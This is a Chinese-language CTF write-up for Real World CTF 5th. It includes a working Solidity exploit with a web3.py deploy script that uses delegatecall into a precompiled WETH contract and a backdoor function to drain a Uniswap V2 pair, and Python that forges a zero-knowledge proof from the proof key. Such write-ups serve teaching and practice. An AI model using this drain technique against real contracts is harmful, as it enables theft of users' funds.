Real World CTF 5th writeup

云水遥

签到

进去以后直接用花括号告诉他 give me the flag

区块链 realwrap

简单来说就是下面这篇文章的翻版:

DelegateCall and Native Contracts

https://pwning.mirror.xyz/okyEG4lahAuR81IMabYL5aUdvAsZ8cRCbYBXh8RHFuE

题目通过魔改 geth 使以太币支持 ERC20 标准,添加了一个在 0x4ea1(Real,Unicode 的 0x4ea1 为“亡”)的预编译合约,里面还有一个后门 transferAndCall,不过现在不重要

对于任意地址,以太币余额就是 WETH 余额。通关条件为题目创建的 uniswap V2 交易对 reserve0 reserve1 均被清空

问题在于 DelegateCall 可以调用预编译合约,此时 msg.sender 和 value 保留,所以可以代替 caller 操作 WETH,比如授权给我们的攻击合约,用后门 transferAndCall 任意调用

攻击步骤:

合约:

//SPDX-License-Identifier: WTFPL
pragma solidity =0.8.17;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IUniswapV2Pair {
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;
    function sync() external;
}
interface IUniswapV2Callee {
    function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external;
}

contract Exploit is IUniswapV2Callee {
    address constant WETH = 0x0000000000000000000000000000000000004eA1;
    // fill in pair info
    address constant PAIR = 0x19d00540F70Ca1c55273bfa37f25Ee9bf2EF7983;
    address constant TOKEN = 0x4eb006c200f049d77f118aE95f454EcC89bdfaFf;

    constructor() payable {}
    
    function uniswapV2Call(address, uint256, uint256, bytes calldata)
    external {
        // let the pair approve to us
        (bool succ,) = WETH.delegatecall(
            abi.encodeWithSignature("approve(address,uint256)",
                address(this),
                (uint256)((int256)(-1))
            )
        );
        require(succ, "FS: apr0");

        (succ,) = WETH.delegatecall(
            abi.encodeWithSignature("transferAndCall(address,uint256,bytes)",
                TOKEN,
                1, // 0 is OK
                abi.encodeWithSignature("approve(address,uint256)",
                    address(this),
                    (uint256)((int256)(-1))
                )
            )
        );
        require(succ, "FS: apr1");

        // repay 0.1 ether with a little premium
        require(IERC20(WETH).transfer(PAIR, 0.11 ether),
            "FS: repay");
    }

    function exploit() external {
        IUniswapV2Pair(PAIR).swap(
            0.1 ether, // borrow 0.1 eth
            0,
            address(this),
            abi.encodeWithSignature("woke()") // non-empty
        );

        uint256 allowance = IERC20(WETH).allowance(PAIR, address(this));
        uint256 balance = IERC20(WETH).balanceOf(PAIR);
        require(allowance > balance, "EXP: allow0");
        require(IERC20(WETH).transferFrom(PAIR, address(this), balance),
            "EXP: tf0");
        
        allowance = IERC20(TOKEN).allowance(PAIR, address(this));
        balance = IERC20(TOKEN).balanceOf(PAIR);
        require(allowance > balance, "EXP: allow1");
        require(IERC20(TOKEN).transferFrom(PAIR, address(this), balance),
            "EXP: tf1");
        
        // make reserves zero
        IUniswapV2Pair(PAIR).sync();
        // done!
    }

    receive() payable external {
        // pass
    }
}

部署+调用:

from web3 import Web3
import json

HTTP_PROVIDER = "http://47.254.91.104:8545"
w = Web3(Web3.HTTPProvider(HTTP_PROVIDER))
PRIVATE = "0x私钥"
SELF = "0x地址"

fd = open("Exploit.json", "rt")
obj = json.load(fd)
fd.close()

bytecode = obj["data"]["bytecode"]["object"]
abi = obj["abi"]

# create contract
"""
signed = w.eth.account.sign_transaction(dict(
    nonce=w.eth.get_transaction_count(SELF),
    gasPrice=2100000,
    gas=2000000, # 注意一百万不够
    to=None,
    value=5 * 10**17, # 0.5 ether
    data=bytecode,
    chainId=w.eth.chain_id,
), PRIVATE)
txhash = w.eth.send_raw_transaction(signed.rawTransaction)
print(txhash)
receipt = w.eth.wait_for_transaction_receipt(txhash)
print(receipt)
"""

CONTRACT = "0x合约"
# exploit!
signed = w.eth.account.sign_transaction(dict(
    nonce=w.eth.get_transaction_count(SELF),
    gasPrice=2100000,
    gas=1000000,
    to=CONTRACT,
    value=0,
    data="0x63d9b770", # exploit()
    chainId=w.eth.chain_id,
), PRIVATE)
txhash = w.eth.send_raw_transaction(signed.rawTransaction)
print(txhash)
receipt = w.eth.wait_for_transaction_receipt(txhash)
print(receipt)

那两个地址 PAIR 和 TOKEN 可以通过 eth_call Factory.uniswapV2Pair 和 uniswapV2Pair.token1 获取到

密码 0KPR00F

基于 optimal ATE pairing 的零知识证明,给了 proof key 需要生成一个证明

可以看出代码来源是 https://github.com/ethereum/py_pairing

不懂代码是在干嘛的可以看作者 Vitalik 说的道理:

第二篇不看也没事,因为题目要求的证明非常简单

简单来说

pairing(Q, P) 以下记为 e(Q, P)

Q 是 Fp12 的元素,但是完全不用管他,因为做题根本不需要生成这样的元素

P 就是熟悉的椭圆曲线上的点了,生成元为 G1

这几个东西有什么用呢,就是可以证明 pq = r(pqr 是任意整数)只需要公布椭圆曲线公钥 G(p) G(q) G(r)

验证者计算 e(G(p), G(q)) == e(G, G(r)) 就验证了 pq = r

同理计算 e(G(p), G(q)) == e(G(r), G(s)) 就验证了 pq = rs

题目 verify 中的 PiC,PiCa,PiH = proof 就是 \pi_C\ \ \pi_{Ca}\ \ \pi_H

以下记成 X, aX 和 H,他们都是椭圆曲线上的公钥,对应的私钥记为 x, ax, h

给的 proof key 是 G_1(t^i) for i in 0..6 和 G_1(a t^i) for i in 0..6

验证两个 pairing:

查看 genK 可以发现:

a t 都是没有保存、必须被销毁的值

容易给出构造 x = Z(t), h = 1,所以 X = G1(Z(t)), H = G1, aX = G1(a Z(t))

已经有 proof key 的情况下,不用知道 a t 就能计算

from ast import literal_eval
from task import *

#PK, VK = genK(curve_order)
data = input("> ")
PK = literal_eval(data)

C = list(map(lambda u: (FQ(u[0]), FQ(u[1])), PK[0]))
aC = list(map(lambda u: (FQ(u[0]), FQ(u[1])), PK[1]))

# H = G1 (1)
# X = G1 (t4 - 10t3 + 35t2 - 50t + 24)
# aX = G1 a (t4 - 10t3 + 35t2 - 50t + 24)

H = G1
def poly(C):
    X = multiply(C[0], 24)
    X = add(X, neg(multiply(C[1], 50)))
    X = add(X, multiply(C[2], 35))
    X = add(X, neg(multiply(C[3], 10)))
    X = add(X, C[4])
    return X
X = poly(C)
aX = poly(aC)
#print(verify([X,aX,H], VK))
print(X[0], X[1], aX[0], aX[1], H[0], H[1], sep=" ")

Older: The 2nd Geekgame writeup

Back to: Listing G2R